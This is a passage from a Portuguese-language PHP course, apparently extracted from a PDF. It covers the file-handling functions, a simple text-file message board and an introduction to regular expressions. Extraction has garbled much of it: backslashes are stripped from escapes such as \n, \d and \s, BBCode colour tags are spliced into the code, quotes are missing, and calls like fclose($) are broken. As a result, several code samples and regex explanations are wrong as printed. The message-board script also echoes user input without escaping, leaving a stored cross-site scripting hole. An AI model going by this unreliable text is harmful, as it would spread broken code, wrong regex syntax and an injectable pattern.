eutilizar n para delimitar as linhas em seu script, de forma que você pode esperar que elessejam lidos em outras aplicações como o Notepad. Você deve usar b em todos os outroscasos.Se você não especificar a flag b quando trabalhando com arquivos binários, você podeexperimentar problemas estranhos com seus dados, incluindo arquivos de imagens danificadose problemas estranhos com os caracteres rn.
  • 76. Para portabilidade, é estremamente recomendado que você sempre utilize a flag b quandoabrindo arquivos com fopen().Novamente, por portabilidade, é estremamente recomendável que você re-escreva seu códigonas situações em que o modo t deva ser utilizado para corrigir os fim de linha, onde o modob não deva ser utilizado.A partir do PHP 4.3.2, o modo padrão é configurado para binário em todas as plataformas quedistinguem entre modo texto e binário. Se você está tendo problemas em seus scripts depoisde um upgrade, tente acrescentar a flagt como um paliativo até que você tenha tornado seusscripts portáveis como mencionado acima.Você pode usar o terceiro pparâmetro opcional como "1", se você quiser procurar peloarquivo no include_path também.Se a abertura falhar, a função retorna FALSE e um erro nível E_WARNING é gerado. Você podeutilizar @ para suprimir esse alerta.Exemplo 1. exemplo do fopen()PHP 1. <?php 2. $handle = fopen ("/home/rasmus/file.txt", "r"); 3. $handle = fopen ("/home/rasmus/file.gif", "wb"); 4. $handle = fopen ("http://www.example.com/", "r"); 5. $handle = fopen ("ftp://user:password@example.com/somefile.txt", "w"); 6. ?>Se você está tendo problemas com a leitura e gravação para arquivos e você está usando aversão de modulo de servidor do PHP, lembre-se de que os arquivos e diretórios que você estáusando precisam ser acessíveis ao processo do servidor HTTP.Na plataforma Windows, tenha cuidado para usar uma segunda barra invertida (escape) noscaminhos de arquivos, ou usar a barra normal.<?php$handle = fopen ("c:datainfo.txt", "r");?>
  • 77. fclosefclosefclose -- Fecha um ponteiro de arquivo abertoDescriçãobool fclose ( int handle)O arquivo apontado por handle é fechado.Retorna TRUE em caso de sucesso ou FALSE em falhas.O ponteiro para o arquivo tem que ser válido e tem que apontar para um arquivo aberto porfopen() ou fsockopen().Exemplo 1. Exemplo fclose()PHP 1. 2. <?php 3. 4. $handle = fopen(qualquerarquivo.txt, r); 5. 6. fclose($handle); 7. 8. ?> 9.readfilereadfile -- Lê e exibe o conteúdo de um arquivoDescriçãoint readfile ( string nomedoarquivo [, bool use_include_path [, resource context]])
  • 78. Lê um arquivo e escreve o seu conteúdo para o buffer de saída (output buffer).Retorna o número de bytes lido do arquivo. Se um error ocorrer, retorna FALSE e ao menosque a função seja chamada como @readfile(), uma mensagem de erro será impressa.Dica: Você pode usar uma URL com esta função se fopen wrappers estiver habilitado. Vejafopen() para mais detalhes em como especificar o nome do arquivo e Apêndice L para umalista de protocolos URL suportados.Você pode usar o segundo parâmetro opcional e o configurar para TRUE, se você quiserprocurar o arquivo no include_path também.PHP 1. <?php 2. 3. $bytes = readfile("teste.txt");// le arquivo na mesma linha 4. [color=" blue"]echo[/color] $bytes; 5. [color=" red fontweight bold"]?>[/color]filefile -- Le um arquivo inteiro para um arrayDescriçãoarray file ( string filename [, int use_include_path [, int use_include_path]])PHP 1. [color=" red fontweight bold"]<?php[/color] 2. $array = file ([color=" orange"]"teste.txt"[/color]); 3. foreach ($array as $linha) 4. [color=" blue"]echo[/color] $linha.[color=" orange"]"<br>"[/color]; 5. [color=" red fontweight bold"]?>[/color]Idêntico a readfile(), exceto que file() retorna o arquivo em um array. Cada elemento do arraycorresponde a uma linha no arquivo, inclusive com o caracter de nova linha. Em caso de falha,file() retorna FALSE.Você pode usar o parâmetro opcional use_include_path como "1", se você deseja procurar o
  • 79. arquivo no include_path também.PHP 1. 2. [color=" red fontweight bold"]<?php[/color] 3. // Le um arquivo em um array. Nesse exemplo você pode obter via HTTP para obter 4. // o código fonte HTML de uma URL. 5. $lines = file (http://www.exemplo.com/); 6. 7. // Roda através do array, mostrando o fonte HTML com numeração de linhas. 8. foreach ($lines as $line_num => $line) { 9. [color=" blue"]echo[/color] [color=" orange"]"Linha #<b>{$line_num}</b> : "[/color] . htmlspecialchars($line) . [color=" orange"]"<br>n"[/color]; 10. } 11. 12. // Outro exemplo, onde obtemos a página web inteira como uma string. Veja também file_get_contents(). 13. $html = implode (, file (http://www.exemplo.com/)); 14. [color=" red fontweight bold"]?>[/color]Dica: Você pode usar uma URL com esta função se fopen wrappers estiver habilitado. Vejafopen() para mais detalhes em como especificar o nome do arquivo e Apêndice L para umalista de protocolos URL suportados.Nota: Cada linha do array resultante terá os caracteres de fim de linha, então você precisautilizar trim() se não quiser esses caracteres presentes.Nota: Se você está tendo problemas com o PHP no reconhecimento do final de linha quandocriando ou lendo arquivos num computador Macintosh, você pode habilitar a opçãoauto_detect_line_endings.
  • 80. Nota: A partir do PHP 4.3.0, você pode utilizar file_get_contents() para retornar o conteúdo deum arquivo como uma string.No PHP 4.3.0 file() se tornou segura para arquivos binários.file_get_contentsfile_get_contents -- Le todo o conteúdo de um arquivo para uma stringDescriçãostring file_get_contents ( string filename [, int use_include_path [, resource context]])Idêntico a file(), exceto que file_get_contents() retorna o arquivo em uma string.file_get_contents() é o método preferível para ser ler o conteúdo de um arquivo em umastring. Ela usa tecnicas de mapeamento de memório suportadas em seu sistema operacionalpara melhorar a performance.Nota: Esta função é compatível com dados bináriosDica: Você pode usar uma URL com esta função se fopen wrappers estiver habilitado. Vejafopen() para mais detalhes em como especificar o nome do arquivo e Apêndice L para umalista de protocolos URL suportados.Nota: O suporte ao contexto foi acrescentado no PHP 5.0.0.PHP 1. [color=" red fontweight bold"]<?[/color] 2. $conteudo = file_get_contents ([color=" orange"]"teste.txt"[/color]); 3. [color=" blue"]echo[/color] $conteudo; 4. [color=" red fontweight bold"]?>[/color]freadfread -- Leitura binary-safe de arquivoDescriçãostring fread ( resource handle, int length)fread() lê até length bytes do ponteiro de arquivo informado em handle. A leitura éinterrompida quando length bytes foram lidos ou o fim do arquivo (eof) foi alcançado, ou (parastreams de rede) quando um pacote se torna disponível, o que ocorrer primeiro.
  • 81. PHP 1. [color=" red fontweight bold"]<?php[/color] 2. $ponteiro = fopen ([color=" orange"]"teste.txt"[/color], [color=" orange"]"r"[/color]); 3. $conteudo = fread ($ponteiro, 30); 4. [color=" blue"]echo[/color] $conteudo; 5. fclose ($ponteiro); 6. [color=" red fontweight bold"]?>[/color]PHP 1. [color=" red fontweight bold"]<?php[/color] 2. // ler o conteúdo do arquivo para uma string 3. $filename = [color=" orange"]"/usr/local/qualquer.txt"[/color]; 4. $handle = fopen ($filename, [color=" orange"]"r"[/color]); 5. $conteudo = fread ($handle, filesize ($filename)); 6. fclose ($handle); 7. [color=" red fontweight bold"]?>[/color]AtençãoEm sistemas que diferenciam entre arquivos binários e texto (por exemplo Windows) o arquivotem que ser aberto com b incluído como parametro na função fopen().PHP 1. [color=" red fontweight bold"]<?php[/color] 2. $filename = [color=" orange"]"c:filesfigura.gif"[/color]; 3. $handle = fopen ($filename, [color=" orange"]"rb"[/color]); 4. $conteudo = fread ($handle, filesize ($filename)); 5. fclose ($handle);
  • 82. 6. [color=" red fontweight bold"]?>[/color]AtençãoQuando lendo de streams de rede ou canais (pipes), como aqueles retornados pela leitura dearquivos remotos ou de popen() e proc_open(), a leitura irá parar depois que um pacote setorna disponível. Isto significa que você deve juntar os dados em blocos como demonstrado noexemplo seguinte.PHP 1. [color=" red fontweight bold"]<?php[/color] 2. $handle = fopen ([color=" orange"]"http://www.example.com/"[/color], [color=" orange"]"rb"[/color]); 3. $conteudo = [color=" orange"]""[/color]; 4. do { 5. $data = fread($handle, 8192); 6. [color=" blue"]if[/color] (strlen($data) == 0) { 7. [color=" blue"]break[/color]; 8. } 9. $conteudo .= $data; 10. } while(true); 11. fclose ($handle); 12. [color=" red fontweight bold"]?>[/color]Nota: O exemplo acima tem uma performance melhor que o jeito comum usandowhile(!feof()), porque ele economiza o overhead de uma chamada de função por iteração.Nota: Se você quer apenas pegar o conteúdo de um arquivo para uma string, utilizefile_get_contents() que tem uma performance ainda melhor que o código acima.
  • 83. fgetsfgets -- Le uma linha de um ponteiro de arquivoDescriçãostring fgets ( resource handle [, int length])Retorna uma string com até length - 1 bytes lidos do arquivo apontado por handle. A leituraacaba quando length - 1 bytes foram lidos, encontra-se um fim de linha (newline) (que éincluido no valor retornado) ou no fim de arquivo (EOF) (o que acontecer primeiro). Senenhum length for informado, o default é 1Kb, ou 1024 bytes.Se um erro ocorrer, retorna FALSE.Equívocos comuns:Pessoas acostumadas a semântica do fgets em C devem notar a diferenca em como o fim doarquivo (EOF) é retornado.O ponteiro para o arquivo deve ser válido e deve apontar para um arquivo aberto com sucessopor fopen(), popen() ou fsockopen().Um simples exemplo segue: Exemplo 1. Lendo um arquivo linha a linhaPHP 1. [color=" red fontweight bold"]<?php[/color] 2. $handle = fopen ([color=" orange"]"/tmp/arquivodeentrada.txt"[/color], [color=" orange"]"r"[/color]); 3. while (!feof ($handle)) { 4. $buffer = fgets($handle, 4096); 5. [color=" blue"]echo[/color] $buffer; 6. } 7. fclose ($handle); 8. [color=" red fontweight bold"]?>[/color] 9.
  • 84. PHP 1. [color=" red fontweight bold"]<?[/color] 2. 3. $ponteiro = fopen ([color=" orange"]"teste.txt"[/color], [color=" orange"]"r"[/color]); 4. 5. while (!feof ($ponteiro)) { 6. 7. $linha = fgets($ponteiro, 4096); 8. 9. [color=" blue"]echo[/color] $linha.[color=" orange"]"<br>"[/color]; 10. 11. } 12. 13. fclose ($ponteiro); 14. [color=" red fontweight bold"]?>[/color]Nota: O parâmetro length se tornou opcional a partir do PHP 4.2.0, e se omitido, tem defaultpara 1024 bytes para o comprimento da linha. A partir do PHP 4.3, omitindo length farácontinuar a leitura a partir do stream até encontrar o fim da linha. Se a maioria das linhas noarquivo forem todar maiores que 8 Kb, haverá mais eficiência de recursos se seus scriptsinformarem o comprimento máximo das linhas.Nota: Esta função é binary safe a partir do PHP 4.3. Versões anteriores não são seguras paradados binários.Nota: Se você está tendo problemas com o PHP no reconhecimento do final de linha quandocriando ou lendo arquivos num computador Macintosh, você pode habilitar a opçãoauto_detect_line_endings.
  • 85. fwritefwrite -- Gravação em arquivos binary-safeDescriçãoint fwrite ( resource handle, string string [, int comprimento])fwrite() grava os conteúdos de string para o stream de arquivo apontado por handle. Se oargumento comprimento é dado, a gravação irá parar depois de que comprimento bytes foramescritos ou o fim da string é alcançada, o que ocorrer primeiro.fwrite() retorna o número de bytes gravados, ou FALSE em caso de erro.Note que se o argumento comprimento é dado, então a opção de configuraçãomagic_quotes_runtime será ignorada e nenhuma barra será retirada do string.Nota: Em sistemas que diferenciam entre arquivos binários e texto (por exemplo Windows) oarquivo tem que ser aberto com b incluído no parametro mode do fopen().Exemplo fwritePHP 1. [color=" red fontweight bold"]<?php[/color] 2. $filename = teste.txt; 3. $somecontent = [color=" orange"]"Acrescentando isto no arquivon"[/color]; 4. 5. // Tendo certeza que o arquivo existe e que há permissão de escrita primeiro. 6. [color=" blue"]if[/color] (is_writable($filename)) { 7. 8. // Em nosso exemplo, nós estamos abrindo $filename em modo de append (acréscimo ). 9. // O ponteiro do arquivo estará no final dele desde 10. // que será aqui que $somecontent será escrito com fwrite(). 11. [color=" blue"]if[/color] (!$handle = fopen($filename, a)) { 12. [color=" blue"]print[/color] [color=" orange"]"Erro abrindo arquivo ($filename)"[/color]; 13. exit;
  • 86. 14. } 15. 16. // Escrevendo $somecontent para o arquivo aberto. 17. [color=" blue"]if[/color] (!fwrite($handle, $somecontent)) { 18. [color=" blue"]print[/color] [color=" orange"]"Erro escrevendo no arquivo ($filename)"[/color]; 19. exit; 20. } 21. 22. [color=" blue"]print[/color] [color=" orange"]"Sucesso: escrito ($somecontent) no arquivo ($filename)"[/color]; 23. 24. fclose($); 25. 26. } [color=" blue"]else[/color] { 27. [color=" blue"]print[/color] [color=" orange"]"The file $filename is not writable"[/color]; 28. } 29. [color=" red fontweight bold"]?>[/color]fputsfputs -- Sinônimo de fwrite()flockflock -- Monitor de travamento de arquivos portátilDescriçãobool flock ( int handle, int operation [, int &wouldblock] )O PHP suporta uma maneira portável de lock arquivos inteiros em uma advisory way (quesignifica que todos os programas acessando tem que usar o mesmo tipo de travamento ou nãoirá funcionar).flock() opera em fp, que tem que ser um ponteiro de arquivo aberto com sucesso. operacao éum dos seguintes valores:
  • 87. Para obter um lock compartilhado (leitura), utilize operation como LOCK_SH (ou use 1 se aversão do PHP for anterior a 4.0.1).Para obter um lock exclusivo (gravação), utilize operacao como LOCK_EX (ou use 2 se a versãodo PHP for anterior a 4.0.1).Para retirar um lock (compartilhado ou exclusivo), uyilize operacao como LOCK_UN (ou use 3se a versão do PHP for anterior a 4.0.1).Se você não quer usar flock() para bloquear enquanto travando, adicione LOCK_NB (4 se aversão do PHP for anterior a 4.0.1) a operacao.flock() permite a você fazer um simples modelo leitura/gravação (reader/writer) que pode serusado em virtualmente todas as plataformas (incluindo a maior parte dos Unixes e até mesmoWindows). O terceiro argumento opcional é usado como TRUE se a lock irá bloquear(EWOULDBLOCK errno condition).Retorna TRUE em caso de sucesso ou FALSE em falhas.Exemplo 1. flock() examplePHP 1. [color=" red fontweight bold"]<?php[/color] 2. 3. $fp = fopen([color=" orange"]"/tmp/lock.txt"[/color], [color=" orange"]"w+"[/color]); 4. 5. [color=" blue"]if[/color] (flock($fp, LOCK_EX)) { // faca um lock exclusivo 6. fwrite($fp, [color=" orange"]"escrevemos algo aquin"[/color]); 7. flock($fp, LOCK_UN); // libera o lock 8. } [color=" blue"]else[/color] { 9. [color=" blue"]echo[/color] [color=" orange"]"Não pude travar o arquivo !"[/color]; 10. } 11. 12. fclose($fp); 13.
  • 88. 14. [color=" red fontweight bold"]?>[/color]Nota: Uma vez que flock() requer um ponteiro de arquivo, você precisa utilizar um lock dearquivo especial para proteger i acessi a um arquivo ao qual você pretende truncar quandoabrindo no modo de escrita (com um argumento "w" ou "w+" em fopen()).Atençãoflock() não funcionará em NFS ou em qualquer outro sistema de arquivos em rede. Verifique adocumentação do seu sistema operacional para mais detalhes.Na maior parte dos sistemas operacionais flock() é implementada no nível do processo.Quando utilizando um servidor com uma API de multiprocessamento (como ISAPI), você nãopode confiar em flock() para proteger os arquivos contra outros scripts PHP rodando emthreads paralelas da mesma instância do servidor!flock() não é suportado em sistemas de arquivos antiquados como a FAT e seus derivados, esempre retornará FALSE sob esses ambientes (especialmente para usuários do Windows 98).Criando um mural de recados em arquivos textovou mostrar como criar um mural de recados bem simples depois vocês podem aperfeiçoar elecomo por exemplo deixar só pessoas cadastradas postar uma mensagem, nao deixar dados embranco serem gravados, limitar o tamanho maximo da mensagem, colocar a opção de editar amensagem ,mas o usuario pode só editar a sua propria mensagem e o admin pode editartodas, é facil fazer tudo isso ,mas como o foco do curso não é fazer sistemas pra ninguem ,massim ensinar o caminho das pedras e mostrar os melhores caminhos ,então fica por sua contaessa incrementação do sistema, mas qualquer duvida pode perguntar no forumPHP 1. <html> 2. <body> 3. <form method=[color=" orange"]"post"[/color] action=[color=" orange"]"gravar.php"[/color]> 4. <table width=[color=" orange"]"100px"[/color] border=[color=" orange"]"0"[/color] align=[color=" orange"]"center"[/color]> 5. <tr>
  • 89. 6. <td>Nome: </td>7. <td><input name=[color=" orange"][color=" orange"][color=" orange"]"nome"[/color][/color][/color] type=[color=" orange"]"text"[/color] size=[color=" orange"][color=" orange"][color=" orange"]"20"[/color][/color][/color] maxlength=[color=" orange"][color=" orange"][color=" orange"]"20"[/color][/color][/color]></td>8. </tr>9. <tr>10. <td>Mensagem:</td>11. <td>12. <textarea name=[color=" orange"][color=" orange"]"msg"[/color][/color] cols=[color=" orange"][color=" orange"][color=" orange"]"20"[/color][/color][/color] rows=[color=" orange"]"3"[/color]>13. </textarea>14. </td>15. </tr>16. <tr>17. <td><input type=[color=" orange"]"submit"[/color] value=[color=" orange"]"Enviar"[/color]></td>18. </tr>19. </table>20. </form>21. </body>22. </html>23. [color=" red fontweight bold"]<?[/color]24. [color=" blue"]echo[/color] [color=" orange"]"<hr>"[/color];25.26. [color=" blue"]if[/color](isset($_POST[[color=" orange"][color=" orange"][color=" orange"]"nome"[/color][/color][/color]]))27. {28.
  • 90. 29. $fp = fopen([color=" orange"][color=" orange"]"arquivo.txt"[/color][/color], [color=" orange"]"a+"[/color]);30.31. $nome = trim($_POST[[color=" orange"][color=" orange"][color=" orange"]"nome"[/color][/color][/color]]);32. $msg = trim($_POST[[color=" orange"][color=" orange"]"msg"[/color][/color]]);33.34. $nome = str_replace([color=" orange"][color=" orange"]"rn"[/color][/color], [color=" orange"][color=" orange"]" "[/color][/color], $nome);35. $msg = str_replace([color=" orange"][color=" orange"]"rn"[/color][/color], [color=" orange"][color=" orange"]" "[/color][/color], $msg);36. $data = date([color=" orange"]"d/m/Y H:i"[/color]);37.38. fwrite($fp, [color=" orange"]"$nome|$msg|$datan"[/color]);39. fclose($fp);40.41. $fp = file([color=" orange"][color=" orange"]"arquivo.txt"[/color][/color]);42.43. for( $i = 0; $i < count($fp); $i++)44. {45. $arr = explode([color=" orange"]"|"[/color], $fp[$i]);46.47. [color=" blue"]echo[/color] [color=" orange"]"Data: $arr[2]<br />"[/color];48. [color=" blue"]echo[/color] [color=" orange"]"Nome: $arr[0]<br />"[/color];49. [color=" blue"]echo[/color] [color=" orange"]"Mensagem: $arr[1]<br /><hr>"[/color];50.51. }52.53. }
  • 91. 54. [color=" red fontweight bold"]?>[/color]Funções do PHP para manipulação de arquivosÍndicebasename -- Retorna a parte nome do arquivo do caminho/pathchgrp -- Modifica o grupo do arquivochmod -- Modifica as permissões do arquivochown -- Modifica o dono do arquivoclearstatcache -- Limpa as informações em cache de arquivoscopy -- Copia arquivodirname -- Retorna o componente diretório de um caminho/pathdisk_free_space -- Retorna o espaço disponivel no diretóriodisk_total_space -- Retorna o tamanho total do diretóriodiskfreespace -- Sinônimo de disk_free_space()fclose -- Fecha um ponteiro de arquivo abertofeof -- Testa pelo fim-de-arquivo (eof) em um ponteiro de arquivofflush -- Força a liberação do buffer para um arquivofgetc -- Le um caracter do ponteiro de arquivofgetcsv -- Le uma linha do ponteiro de arquivos e a interpreta por campos CSVfgets -- Le uma linha de um ponteiro de arquivofgetss -- Ler uma linha de um ponteiro de arquivo e retira as tags HTMLfile_exists -- Checa se um arquivo ou diretório existefile_get_contents -- Le todo o conteúdo de um arquivo para uma stringfile_put_contents -- Write a string to a filefile -- Le um arquivo inteiro para um arrayfileatime -- Obtém o último horário de acesso do arquivofilectime -- Ler o tempo de modificação do inode do arquivofilegroup -- Lê o grupo do arquivofileinode -- Lê o inode do arquivofilemtime -- Le o tempo de modificação do arquivofileowner -- Lê o dono (owner) do arquivofileperms -- Lê as permissões do arquivofilesize -- Lê o tamanho do arquivofiletype -- Lê o tipo de arquivo (file type)flock -- Monitor de travamento de arquivos portátilfnmatch -- Verifica se um nome de arquivo bate com padrão (wildcards)fopen -- Abri um arquivo ou uma URLfpassthru -- Imprime todo os dados restantes de um ponteiro de arquivofputcsv -- Format line as CSV and write to file pointer
  • 92. fputs -- Sinônimo de fwrite()fread -- Leitura binary-safe de arquivofscanf -- Interpreta a leitura de um arquivo de acordo com um formatofseek -- Procura (seeks) em um ponteiro de arquivofstat -- Lê a informação sobre um arquivo usando um ponteiro de arquivo abertoftell -- Retorna a posição de leitura/gravação do ponteiro do arquivoftruncate -- Corta (trunca) um arquivo para um tamanho especificadofwrite -- Gravação em arquivos binary-safeglob -- Localiza diretórios/arquivos que combinem com o padrãois_dir -- Diz se o caminho é um diretóriois_executable -- Diz se um arquivo é executávelis_file -- Diz se o arquivo é um arquivo comum (não é diretório)is_link -- Diz se o arquivo é um link simbólico (symbolic link)is_readable -- Diz se o arquivo é legivel (readable)is_uploaded_file -- Diz se o arquivo foi uploaded via HTTP POSTis_writable -- Diz se pode-se escrever para o arquivo (writable)is_writeable -- Esta é uma função sinônima (alias) de is_writable()link -- Criando um hard linklinkinfo -- Ler informações sobre um linklstat -- Obtem informações sobre um arquivo ou link simbólicomkdir -- Criar um diretóriomove_uploaded_file -- Move um arquivo carregado para uma nova localizaçãoparse_ini_file -- Interpreta um arquivo de configuraçãopathinfo -- Retorna informação sobre o path de um arquivopclose -- Fecha um processo de um ponteiro de arquivopopen -- Abre um processo como ponteiro de arquivoreadfile -- Lê e exibe o conteúdo de um arquivoreadlink -- Retornar o alvo de um link simbólicorealpath -- Retorna o path absoluto canonicalizadorename -- Renomear um arquivorewind -- Reinicializa a posição do ponteiro de arquivos para o iníciormdir -- Remove um diretórioset_file_buffer -- Sinônimo de stream_set_write_buffer()stat -- Obtem informações sobre um arquivosymlink -- Cria um link simbólicotempnam -- Cria um nome de arquivo únicotmpfile -- Cria um arquivo temporáriotouch -- Muda o tempo de modificação do arquivoumask -- Modificar a umask atualunlink -- Apaga um arquivoExpressões Regulares (E.R.)Você ja deve ter visto sobre regex, ER ou Expressões regularesbom pra quem não entende nada de ER e muito mesmo sabia o que era ER
  • 93. esse tutorial é pra você, vou tentar explicar o máximo sobre ER tirando aquela ideia que umaER parece codigo pra indigena ou outra coisa que não da pra entender nada, meu foco não édeixar você 100% conhecedor de ER ,mas sim mostrar que não é tão complicado fazer ou leruma er basta prestar atençãoe eu vou passar o que eu sei dai você terá uma base pra se aprofundar em conhecer melhorsobre ER, muita gente não sabe usar uma ER por isso acaba fazendo coisas complexas que comuma simples ER faria, depois que você se acostumar a trabalhar com ER você vai ver que éimpossivel ficar sem elasbom mas chega de papo e vamos la para o que interessa.O que são Expressões Regulares?Resumindo são simbolos ou caracteres com funções especiais para pesquisar,casar uma frase, palavra ou caracter, substituir ou modificar, por exemplo você pode procuraruma frase por uma palavra a ou você só quer aceitar só palavras minusculas, você quer umapalavra ou caracter que esteja no começo ou no fim de uma frase, você pode validar:emails,cnpj, cpf, numeros, datas, etc... tudo isso que eu falei e muito mais você pode fazer comER, muito mais facil que tentar fazer uma função pra isso dependendo da função ela seriaenorme ao contrario de uma simples ER de uma linhafunções do php para manipular as ER[color="DarkBlue"]ereg()ereg_replace()eregi()eregi_replace()split()spliti()preg_match()preg_match_all()preg_replace()preg_split()sql_regcase()[/color]Vou falar mais da próprias ER doque as funções acima caso queria estuda-las procure nomanual do phpa Isto combina com o caractere ASCII da campainha (BEL, 0x07).f Isto combina com o caractere ASCII de nova página (FF, 0x0C).n Isto combina com o caractere ASCII de nova linha (LF, 0x0A, nova linha do Unix).r Isto combina com o caractere ASCII de retorno de carro (CR, 0x0D).
  • 94. t Isto combina com o caractere ASCII de tabulação horizontal (HT, 0x09).v Isto combina com o caractere ASCII de tabulação vertical (VT, 0x0B).xhhhhIsto combina com o caractere Unicode correspondente ao número hexadecimal hhhh (entre0x0000 e 0xFFFF). 0ooo (isto é, zero ooo) combina com o caractere ASCII/Latin-1correspondente ao número octal ooo (entre 0 e 0377).. (ponto) Isto combina com qualquer caractere (incluindo nova linha).d Isto combina com um dígito. É igual a [0-9]D Isto combina com um caractere que não seja dígito. Igual a [^0-9] ou [^d]s Isto combina com um caractere em branco. Praticamente igual a [tnr]S Combina com o que não seja espaço em branco. Praticamente igual a [^trn], e igual a[^s]w Combina com quaisquer “caractere da palavra”, neste caso quaisquer letras ou dígitos.Note que o caractere de sublinhado (ou underscore - _) não combina, como é o caso comexpressões regulares do Perl. Igual a [a-zA-Z0-9]W Combina com qualquer caractere diferente de palavra - qualquer coisa menos letras ounúmeros. Igual a [^a-zA-Z0-9] ou [^w][] lista- (hífen)Denota um intervalo lógico. Deve sempre ser escapado dentro de uma classe.[0-9] mesma coisa que 0123456789[a-z] mesma coisa que abcdefghij...z^ (circunflexo)Denota uma classe negativa, se for o primeiro caractere. Deve ser escapado para combinarliteralmente, se for o primeiro caractere da classe. (barra invertida) O caractere de escape.^ (circunflexo) Combina com o início da string.
  • 95. $ Combina com o fim da string.() (parênteses esquerdo e direito) Denota sub-padrões.{} (abre e fecha chaves) Denota quantificadores numéricos.| OR lógico. Alternativas separadas.+ (sinal de mais) Quantificador, 1 ou mais.* (asterisco) Quantificador, 0 ou mais.? (ponto de interrogação) Um caractere opcional. Pode ser interpretado como umquantificador, 0 ou 1.[[:alnum:]] Caracteres alfanuméricos.[[:alpha:]] Caracteres alfabéticos.[[:digit:]] Número Decimal (0-9).[[:lower:]] Caracteres minúsculos.[[:upper:]] Caracteres maiúsculos.[[:xdigit:]] Número Hexadecimal .[[:cntrl:]] Caracteres de Controle.[[:print:]] Caracteres imprimíveis.[[:space:]] Caracteres com espaços em branco.[a-z] caracteres do alfabeto (minúsculo).[A-Z] caracteres do alfabeto (maiúsculo).[a-zA-Z] caracteres do alfabeto (maiúsculo e minúsculo).[aeiou] apenas vogais.[^a-z] tudo menos os caracteres do alfabeto (minúsculo).[^aeiou] - apenas consoantes O caractere ^ representa fora do intervalo das vogais. Não estácontido entre aeiou..[^] quando tem um ^ dentro de uma lista[] ele quer dizer pra negar esses simbolos como vocêviu acima [^a-z] ele nao vai aceitar qualquer palavra minuscula de a a z [a-z] se tiver sem o ^elevai aceitar só palavras minusculas de a a z pagar casar um caracter que é simbolo da ER vocêtem que escapa-la exemplo [^] acima será o ^mesmo e não a função para negarum ^ fora de uma lista[] quer dizer começo e $ quer dizer fimpor exemplo se você procura por uma palavra que começe com a se pode fazer assim (^a)exemplo:
  • 96. PHP 1. [color=" red fontweight bold"]<?[/color] 2. $test = [color=" orange"]"Fabyo"[/color]; 3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/"[/color], $test); 4. [color=" red fontweight bold"]?>[/color]ele ira retornar falso porque a 1 letra não é a e sim FPHP 1. [color=" red fontweight bold"]<?[/color] 2. $test = [color=" orange"]"André"[/color]; 3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/"[/color], $test); 4. [color=" red fontweight bold"]?>[/color]esse exemplo acima continuará retornando falso porque você ta buscando um a minusculo sequiser aceitar maiusculos e minusculos você pode fazer assim:PHP 1. [color=" red fontweight bold"]<?[/color] 2. $test = [color=" orange"]"André"[/color]; 3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^[aA])/"[/color], $test); 4. [color=" red fontweight bold"]?>[/color]ou usando um modificador i que aceita minusculas ou maiusculas
  • 97. PHP 1. [color=" red fontweight bold"]<?[/color] 2. $test = [color=" orange"]"André"[/color]; 3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/i"[/color], $test); 4. [color=" red fontweight bold"]?>[/color]PHP 1. [color=" red fontweight bold"]<?[/color] 2. $test = [color=" orange"]"asp"[/color]; 3. [color=" blue"]echo[/color] preg_match(sql_regcase([color=" orange"]"#(PHP|ASP)#"[/color]), $test); 4. [color=" red fontweight bold"]?>[/color]sql_regcase -- Cria expressões regulares insensíveis a maiúsculas e minúsculas.(PHP|ASP) o | é um or ( ou ) PHP ou ASP e o sql_regcase vai aceitar tanto minusculas comomaiusculase sobre ("[color="red"]#[/color](PHP|ASP)[color="red"]#[/color]") é só pra escapar a ER nopreg_match pode ser usado qualquer caracter de escapemas tome cuidado para não usar um muito diferente ou que pode ser usado na ERposso escapar assim: ("[color="red"]/[/color](PHP|ASP)[color="red"]/[/color]") ou("[color="red"]~[/color](PHP|ASP)[color="red"]~[/color]") , bom pelo menos agora você vaiolhar pra ER e não vai ficar tão confuso querendo descobrir pra que serve a /, # ou ~outro exemplo só para entender melhor:PHP 1. [color=" red fontweight bold"]<?[/color] 2. $test = [color=" orange"]"*? teste"[/color];
  • 98. 3. [color=" blue"]echo[/color] preg_match([color=" orange"]"#(*?s)#"[/color], $test); 4. [color=" red fontweight bold"]?>[/color][color="DarkBlue"]"#(*?s)#"[/color] agora vamos tirar o que não interessa[color="red"]*?s[/color] as aspas é pra delimitar a string o # é pra delimitar a ER () era sópra fazer uma sub classe entao restou só "*?s ficou bem mais facil de entender não émesmo? o está escapando o * e o ? mas s faz parte da funções do ER e ele quer dizer quecombina com caractere em branco.$test = "*? teste"; então a função ira retornar verdadeiro pois ela tem "*? teste";um * e ? depois um espaço e é exatamente o que a gente procurava *?soutra função$code = preg_replace(sql_regcase( "#(?&gt;|%&gt;)|(&lt;%|&lt;?)(php)?#") , "<spanstyle=color: red; font-weight: bold;>0</span>", $code );essa função ira colorir as tags <??>, <%%> ou <?php ?> <?PHP ?>[color="DarkBlue"]&lt;[/color] = [color="red"]<[/color] e [color="DarkBlue"]&gt;[/color] =[color="red"]>[/color]depois de passar pela função ira colorir as tags ficando por exemplo :[color="red"]<??>[/color]no próximo módulo falarei mais sobre ER , explicarei mais sobre as funções da ERe darei mais exemplos pra você não ficar tão perdido como eu ficava quando olhava uma ER.
  • 99. Modulo 10Introduçãoo Expressões Regulares (E.R.) parte2o Estudo sobre PHP Injectiono Id3 Tags MP3 e PEARo Funções ODBC migrando banco Access para o Mysqlo Importando emails salvo com separação de virgulas para o banco Mysqlo Função getimagesizeo Segurançao Log de ErrosExpressões Regulares (E.R.) parte2Os primeiros conceitos relacionados às expressões regulares surgiram no início da década de40, num artigo que teorizava o funcionamento dos neurônios. A partir daí, nos 25 anos que seseguiram, expressões regulares foram correntemente discutidas no contexto matemático,onde sua teoria foi desenvolvida.A primeira publicação sobre ERs em computadores data de 1968, num artigo de KenThompson, denominado ``Regular Expression Search Algorithm. Com base neste trabalho, eledesenvolveu o qed, um editor que foi a base do ed, editor de texto padrão do UNIX. A idéia portrás das ERs tomara tal dimensão que um dos comandos do ed ``g/Regular Expression/p queliteralmente significa ``Global Regular Expression Print, era tão útil que ganhou seu próprioaplicativo: o grep, que por por sua vez, teve melhoramentos e adições em suas ERs dandoorigem ao egrep (extended grep).Seguindo a filosofia das ERs, outros programas foram aparecendo e incorporando mais e maisexpressões, como o awk, o lex e o sed. Assim, para padronizar a implementação e uso das ERspor eles, estas foram inclusas na biblioteca C básica, para qualquer programa utilizar-se delas.O egrep, o grep, o perl e o emacs serão as ferramentas principais utilizadas para exemplificar ouso 